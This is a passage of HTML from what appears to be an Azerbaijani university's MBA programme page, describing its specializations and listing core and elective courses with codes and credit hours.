mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Bakalavr dərəcəsi biznes ixtisası üzrə olmayan\r\ntələbə baza biznes kurslarının öyrənilməsindən azad olunmaq üçün bu fənləri\r\nqənaətbəxş səviyyədə bildiyini nümayiş etdirməlidir.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">MBA proqramı&nbsp;\r\nMaliyyə, Mühasibat uçotu və audit, Beynəlxalq biznes, Menecment, Dünya\r\niqtisadiyyatı, Enerji menecmenti və Biznesin idarə edilməsi ixtisaslarını\r\ntəklif edir.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Maliyyə</strong>&nbsp;ixtisası məzunlara rəqabətli maliyyə mühitində maliyyə\r\nmeneceri kimi müvəffəqiyyətlə fəaliyyət göstərmək üçün tələb olunan korporativ\r\nvə beynəlxalq maliyyə, maliyyə bazarları, təşkilatlar və siyasətinə dair dərin\r\nbiliklər verir.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Mühasibat uçotu və audit</strong>&nbsp;ixtisası biznes və dövlət\r\ntəşkilatlarında peşəkar mühasib vəzifəsində çalışmaq arzusunda olanlara\r\nmühasibat məlumatlarını hazırlamaq, onlardan istifadə etmək, məlumatların\r\nhərtərəfli təhlil edilməsi üçün lazım olan dərin analitik biliklər verir,&nbsp;\r\nuyğun bacarıqları inkişaf etdirir.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Menecment&nbsp;</strong>ixtisası biznesin müxtəlif funksional\r\nsahələrində liderlik əldə etmək və peşəkar menecer kimi&nbsp; fəaliyyət göstərmək\r\narzusunda olanlara hərtərəfli peşəkar biliklər verir.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Beynəlxalq biznes</strong>&nbsp;ixtisası üzrə təhsil alan tələbələr\r\nqlobal biznes mühitində müvəfəqiyyətlə fəaliyyət göstərmək üçün lazım olan\r\nfunksional və peşə bilikləri əldə edir, eyni zamanda idarəetmə baxımından mühüm\r\nrol oynayan müxtəlif mədəni mühitlərlə yaxından tanış olurlar.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Biznesin idarə edilməsi</strong>&nbsp;ixtisası ümumi xarakter daşıyır, eyni\r\nzamanda tələbənin fərdi maraqlarına uyğun bir sıra fənləri seçmək və əlavə\r\nbiliklər əldə etmək imkanı verir.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Enerji menecmenti</strong>&nbsp;ixtisasında tələbələr məhdud enerji\r\nsərvətlərindən səmərəli istifadə edilməsi, enerji təminatının təhlükəsizliyi,\r\nregion problemləri və bütövlükdə enerjinin idarə edilməsinin qlobal problemləri\r\nilə tanış olurlar.</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" width=\"96%\" style=\"\" width:96.0%;margin-left:5.4pt;border-collapse:collapse;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"31%\" colspan=\"2\" style=\"\" width:31.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>KOD</strong></p>\r\n  </td>\r\n  <td width=\"46%\" style=\"\" width:46.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>FƏNLƏR</strong></p>\r\n  </td>\r\n  <td width=\"22%\" colspan=\"2\" style=\"\" width:22.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:right;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>KREDITLƏR</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>BİZNESİN ƏSASLARI</strong></p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:right;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>30</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ACC 801</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Maliyyə mühasibat uçotu</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 810</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Strateji biznes ünsiyyət</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 820 və ya</p>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 800</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Qərarların qəbul edilməsinin əsasları</p>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Tətbiqi biznes statistikası</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 830</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Maliyyə menecmenti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ECON 830</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Menecment iqtisadiyyatı</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 830 or</p>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 832 və ya</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Menecment və təşkilati davranış</p>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Təşkilati davranış</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\" style=\"\" width:31.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ACC 840</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\" style=\"\" width:56.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">İdarəetmənin mühasibat uçotu</p>\r\n  </td>\r\n  <td width=\"12%\" style=\"\" width:12.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MKT 840 və ya</p>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MKT 810</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Marketinq menecmenti</p>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Marketinq siyasəti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 850</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">İstehsalatın və əməliyyatların\r\n  menecmenti&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\" style=\"\" width:31.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 860</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\" style=\"\" width:56.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Strateji menecment</p>\r\n  </td>\r\n  <td width=\"12%\" style=\"\" width:12.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" colspan=\"2\" style=\"\" width:31.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"2\" style=\"\" width:56.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\" style=\"\" width:12.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"87%\" colspan=\"4\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>İXTİSASLAŞMA\r\n  FƏNLƏRİ&nbsp;</strong>(Tələbənin seçimindən asılıdır)</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:right;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>15</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>Maliyyə</strong></p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>Aşağıdakı fənlərdən beşi seçilməlidir:</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 835</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Bank menecmenti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 840</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Maliyyə menecmenti və siyasəti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" style=\"\" width:31.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 845</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\" style=\"\" width:56.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq maliyyə</p>\r\n  </td>\r\n  <td width=\"12%\" style=\"\" width:12.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 850</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Maliyyə qurumaları və bazarları</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 851</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">İnvestisiyalar menecmenti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 855</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Vergiqoyma</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 890</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Korporativ maliyyə (ali)</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>Mühasibat uçotu</strong></p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>Aşağıdakı fənlərdən beşi seçilməlidir</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ACC 810</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Audit</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ACC 820</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Xərclərin Strateji İdarə edilməsi</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 855</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Vergiqoyma</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ACC 860</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Mühasibat uçotunun informasiya sistemləri</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ACC 870</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq maliyyə mühasibat uçotu təcrübəsi</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" 